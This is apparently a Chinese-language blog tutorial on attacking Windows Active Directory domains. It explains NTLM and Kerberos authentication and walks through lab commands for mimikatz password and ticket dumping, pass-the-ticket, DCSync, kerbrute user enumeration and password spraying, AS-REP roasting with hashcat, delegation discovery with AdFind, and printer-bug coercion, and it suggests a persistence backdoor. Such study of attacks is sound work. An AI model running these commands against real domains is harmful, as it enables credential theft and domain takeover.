目录
参考链接
内网域渗透之委派攻击 - 空于野 - 博客园 (cnblogs.com)
https://blog.thekingofduck.com/post/ADStudy-Part-4-Kerbroes-Study/
https://y4er.com/posts/kerberos-unconstrained-delegation/
Windows认证
域渗透就是基于Windows域环境的渗透
Windows的认证包括三个部分,用户直接操作计算机登录账户(本地认证),远程连接到工作组中的某个设备(网络认证),登录到域环境中的某个设备(域认证)
本地认证
本地认证:用户输入密码,系统收到密码后将用户输入的密码计算成NTLM HASH
,然后与sam数据库(%SystemRoot%\system32\config\sam
)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败
大致运算流程为
用户密码->HEX编码->Unicode编码->MD4
用python的passlib库
from passlib.hash import nthash
print(nthash.hash('admin'))
#209c6174da490caeb422f3fa5a7ae634
本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对
我们使用mimikatz来获取的明文密码,就是从这个进程中读取到的。
mimikatz获取密码(要用管理员权限运行)
privilege::debug
sekurlsa::logonPasswords
网络认证
网络认证即在工作组环境下远程登录另一台电脑所采用的认证机制
NTLM协议的认证过程分为三步,也叫做挑战相应机制
1.协商
2.质询
3.验证
协商:双方确定使用的协议版本,NTLM
存在V1
和V2
两个版本,具体区别就是加密方式不同
质询:挑战(Chalenge)/响应(Response)认证机制的核心
1.客户端向服务器端发送用户信息(用户名)请求
2.服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为“Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端。
3.客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
验证:在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过
其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
简单的来说:客户端向服务器请求使用某个用户进行验证,服务端判断该用户是否存在,存在的话使用这个用户密码的哈希值来加密一个随机字符串,并且将这个随机字符串返回给客户端,客户端再把自己提供的密码进行哈希处理后也来加密这串随机字符串,然后再把结果发送给服务器,服务器把从客户端发送的加密结果与自己本地的加密结果进行比较,相同的话便通过认证
其中的关键点在于:第二步中客户端发送的是NTLM哈希值与随机字符串加密的结果,而这个NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的NTLM哈希即使不知道正确的密码也可通过认证
再举个简单的例子,渗透某个站点,通过sql注入获取到了用户数据库,然后发现数据库中的管理员密码是md5加密的而且无法解开,但是这时候发现在前端登录时,也会将你输入的密码进行md5加密,也就是说后端是对比两个md5值是否相同,那我如果知道密码的md5值就能直接登录了,干嘛还要去解开呢?
工作组环境和域环境下Net NTLM认证过程因为有DC(域控制器)的参与流程略有差异,不过不影响我们进行哈希传递攻击
域环境搭建
windows server2016 (192.168.45.144)
windows10专业版
windows7
windows server 2016搭建域控_server2016域控配置_昭哥-HYZ的博客-CSDN博客
这里添加域成员的时候,记得将dns服务器ip设置为域控的ip
如何发现域
net config workstation
如果入口点没有在域内,但能通DC的话,fscan一般也能扫出来,可以使用NetBIOS扫描探测
fscan64 -np -m netbios -h 192.168.45.1/24
域认证(kerberos)
kerberos概念
Kerberos是一种网络认证协议,其设计目标是通过密钥系统为Client / Server
应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
域认证所参与的角色
- 访问服务的Client
- 提供服务的Server
- KDC(key Distribution Center)密钥分发中心
其中KDC服务默认会安装在一个域的域控中,而Client
和Server
为域内的用户或者是服务,如HTTP服务
,SQL服务
。在Kerberos
中Client
是否有权限访问Server
端的服务由KDC(Key Distribution Center)
发放的票据来决定。
kerberos认证协议
TGT(Ticket Granting Ticket)
由身份认证服务AS(Authentication Service)授予的票据,TGT用于身份认证,存储在内存,默认有效期为10小时,通过TGT能够获得票据(Ticket),TGT是一种 临时凭证 的存在,伪造的TGT又被称为 黄金票据。
票据(Server Ticket/Ticket)
是网络对象互相访问的 凭证,伪造的ST\Ticket又被称为 白银票据。
KDC(Key Distribution Center)
负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:
- AS(Authentication Service): 身份认证服务,为
Client
生成TGT(Ticket Granting Ticket)
的服务。 - TGS(Ticket Granting Service): 票据授予服务,为
Client
生成某个服务的Ticket
的服务。
AD(Account Database)
一个类似于本机SAM的一个数据库,存储所有Client的白名单,只有存在于白名单的Client才能顺利申请到TGT。
注:从物理层面看,AD与KDC均为域控制器(Domain Controller)
域认证流程
粗略流程
①-②:Client
向kerberos
服务请求,希望获取访问Server
的权限。 kerberos
得到了这个消息,首先得判断Client
是否是可信赖的, 也就是白名单黑名单的说法。
这就是AS(Authentication Service)
服务完成的工作,通过在AD(Account Database)
中存储黑名单和白名单来区分Client
。
成功后,AS(Authentication Service)
返回TGT(Ticket Granting Ticket)
给Client
。
③-④:Client
得到了TGT(Ticket Granting Ticket)
后,继续向kerberos
请求,希望获取访问 Server
的权限。kerberos
又得到了这个消息,这时候通过Client
消息中的TGT
,判断出了Client
拥有了这个权限,给了Client
访问Server
的权限Ticket
。
⑤-⑥:Client
得到Ticket
后,终于可以成功访问Server
。这个Ticket
只是 针对这个Server
,其他Server
需要向TGS(Ticket Granting Service)
申请。
还有一个简单易懂的例子:
https://ares-x.com/2020/03/12/%E6%88%8F%E8%AF%B4%E5%9C%B0%E7%8B%B1%E4%B8%89%E5%A4%B4%E7%8A%AC/
详细流程
AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
AP_REQ: Client拿着TGS票据去请求服务
AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
域用户枚举
概述
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN
,所以当我们没有域凭证时,可以通过Kerberos pre-auth
从域外对域用户进行用户枚举。
简单来说,根据返回包值的不同,来确定是不是又这个用户,和盲注类似
利用
使用工具https://github.com/ropnop/kerbrute
测试:
user.txt如下
Win7-2023QLEWED
DESKTOP-OK1CA8G
test1
test2
kerbrute_windows_amd64 userenum --dc 192.168.45.144 -d gkjzjh146.com user.txt
AS-REPRoasting
概述
对于域用户,如果设置了选项Do not require Kerberos preauthentication
(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat
或是john
对其破解,最终获得该用户的明文口令。默认情况下该配置不会设置。
利用
配置域用户的不要求Kerberos预身份认证属性:
kali有impacket工具包
impacket-GetNPUsers -dc-ip 192.168.45.144 gkjzjh146.com/zhangsan:123456
这里用户要对密码随便弄一个
复制出来,然后用hashcat直接爆
hashcat64 -m 18200 -a 0 hash.txt 1.txt
没有域凭证时,也可以用户名枚举来查找未设置预认证的账号:
impacket-GetNPUsers -dc-ip 192.168.45.144 gkjzjh146.com/ -usersfile users.txt
该配置不要求Kerberos预身份认证
默认不启用,可以给域内高权限用户配置该选项作为后门。
Password Spraying(密码喷洒)
概述
在kerberos的AS-REQ认证中当用户名存在时,密码正确或者错误返回包结果不一样,所以可以尝试爆破密码。
利用
通常爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。
kerbrute_win_amd64 passwordspray --dc 192.168.45.144 -d gkjzjh146.com user.txt zhang3..
单用户爆破密码:
kerbrute_windows_amd64 bruteuser --dc 192.168.45.144 -d gkjzjh146.com password.txt zhangsan
用户名&密码字典组合爆破,而格式username:password
:
kerbrute_windows_amd64 bruteforce --dc 192.168.45.144 -d gkjzjh146.com res.txt
除了通过kerberos爆破,还可以利用smb,ldap爆破。
smb爆破使用msfauxiliary/scanner/smb/smb_login
模块
还可以用ldap爆破
如何定位域管
概述
域渗透中定位并拿下域管登陆过的主机,就可以在该主机导出域管密码或是hash:
net group "domain admins" /domain
net group "domain controllers" /domain
委派
在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“ Kerberos双跳问题”,并且要求进行委派,以便Web Server在修改数据库记录时模拟用户。
简单地说:委派就是将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内其他服务。将我的权限给服务账户。
注意:能够被委派的用户只能是服务账号或者机器账号
机器账户:活动目录中的computers组内的计算机,也被称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等,还有就是域用户通过注册SPN也能成为服务账号。
Kerberos委派主要分为三种:
- 非约束委派(Unconstrained Delegation)
- 约束委派(Constrained Delegation)
- 基于资源的约束委派(Resource-Based Constrained Delegation)
非约束委派
概念
当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的的TGT发送服务,而该服务会将用户的TGT保存在内存以备下次重用,然后服务就可以利用该已转发的TGT以用户的身份访问该用户能访问的服务。非约束委派的安全问题就是如果我们找到配置了非约束委派的主机,并且通过一定手段拿下该主机的权限,我们就可以拿到所有访问过该主机用户的TGT。
例子:
jack需要登陆到后台文件服务器,经过Kerberos认证的过程如下:
- jack以Kerberos协议认证登录,将凭证发送给websvc
- websvc使用jack的凭证向KDC发起Kerberos申请TGT。
- KDC检查websvc的委派属性,如果websvc可以委派,则返回可转发的jack的TGT。
- websvc收到可转发TGT之后,使用该TGT向KDC申请可以访问后台文件服务器的TGS票据。
- KDC检查websvc的委派属性,如果可以委派,并且权限允许,那么返回jack访问服务的TGS票据。
- websvc使用jack的服务TGS票据请求后台文件服务器。
这里就相当于说 jack 登录到web服务器后 访问后台文件服务器 是没有权限的 后台服务器以为是websvc在访问它,但如果websvc设置了委派 就可以以jack的身份去访问后台这样 就有权限访问 这个时候websvc也可以使用jack的身份访问其他jack有权限访问的服务
机器用户设置委派
查找
使用Adfind进行查找,Adfind使用可以看下面这个
域内信息查询工具AdFind_adfind.exe 下载_Luckysec的博客-CSDN博客
AdFind.exe -b "DC=gkjzjh146,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
利用场景
被动
当我们在域内拿到一台配置了非约束委派的主机后,就可以使用mimikatz导出所有票据,若是有其他用户访问过该主机,那么我们就可以通过ptt(票据传递)获取该用户权限。
导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
传递票据
mimikatz.exe
privilege::debug
kerberos::ptt adminstrator的会话
psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
kerberos::list
klist
当然我们也可以诱导域管访问该主机,例如通过给管理员发诱饵文件修改Desktop.ini,或是outlook等等。详情可参考daiker师傅的发起NTLM请求。
主动
非约束委派+Spooler打印机服务
在实战中,被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派+Spooler 打印机服务可以强制指定的主机进行连接。
利用原理:利用 Windows 打印系统远程协议 (MS-RPRN) 中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。 POC: https://github.com/leechristensen/SpoolSample 在WIN7主机上运行该工具,强制域控向WIN7发起认证,然后导出票据
kerberos::ptt xxxx.kirbi
lsadump::dcsync /domain:0ne.test /all /csv
约束委派
概述
由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。其中S4U支持两个子协议:
- Service for User to Self(S4U2self)
- Service for User to Proxy(S4U2proxy)
这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。配置它后,约束委派将限制指定服务可以代表用户去访问服务。该设置需要SeEnableDelegation
特权,该特权很敏感,通常仅授予域管理员。
约束委派的安全问题就是如果我们找到配置了约束委派的服务账号,并且通过一定手段拿下该服务账号。我们就可以利用这个服务账号代表任意用户进行S4U2self获得一个可转发的票据,然后把获取到的票据用于S42proxy(作为AddtionTicket),从而获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务)。
配置
先创建一个用户
sql
Admin123456
setspn -S MSSQLSvc/sql.gkjzjh146.com:1433 sql
setspn -l sql
设置委派
查找
AdFind.exe -b "DC=gkjzjh146,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
也可以使用impacket工具包findDelegation.py
找出所有的委派配置。
impacket-findDelegation -dc-ip 192.168.45.144 -target-domain gkjzjh146.com gkjzjh146.com/zhangsan:zhang3..
利用
到后面和票据、基于资源的约束委派那些一起再写。。